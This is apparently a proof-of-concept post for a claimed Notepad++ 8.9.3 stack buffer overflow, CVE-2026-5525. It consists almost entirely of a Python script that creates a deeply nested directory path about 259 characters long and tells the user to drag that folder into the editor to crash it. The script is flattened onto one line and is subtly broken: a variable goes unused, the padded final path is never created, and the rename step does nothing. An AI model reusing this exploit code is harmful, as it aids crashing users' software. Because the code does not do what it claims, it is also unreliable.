CVE-2026-5525 Notepad++栈缓冲区溢出漏洞

import os # Generate a path of length 259 chars (MAX_PATH - 1 typically) # This triggers the overflow when the app appends '\\' and '\0' base_path = "C:\\" + ("A" * 200) def create_long_path(): # Construct a directory path exactly 259 characters long # Adjust the length based on the drive letter and root # Example: C:\ + 25 chars + "\" + rest # We need the final path string length to be 259. # Create a nested directory structure depth = 10 segment_len = 20 current = "C:\\poc_exploit" if not os.path.exists(current): os.makedirs(current) # Build path until we reach a length close to 259 while len(current) < 240: folder_name = "A" * segment_len current = os.path.join(current, folder_name) if not os.path.exists(current): try: os.makedirs(current) except OSError: break # Adjust to exactly 259 characters without trailing backslash if len(current) > 259: # Truncate or adjust logic (simplified for PoC concept) pass elif len(current) < 259: diff = 259 - len(current) current = current + ("B" * diff) # Rename last folder to match length parent = os.path.dirname(current) last_folder = os.path.basename(current) old_path = os.path.join(parent, "A" * segment_len) # simplified # This is a simulation script, actual filesystem limits apply. print(f"Generated Path Length: {len(current)}") print(f"Path: {current}") print("Drag and drop this folder into Notepad++ 8.9.3 to trigger the crash.") if __name__ == "__main__": create_long_path()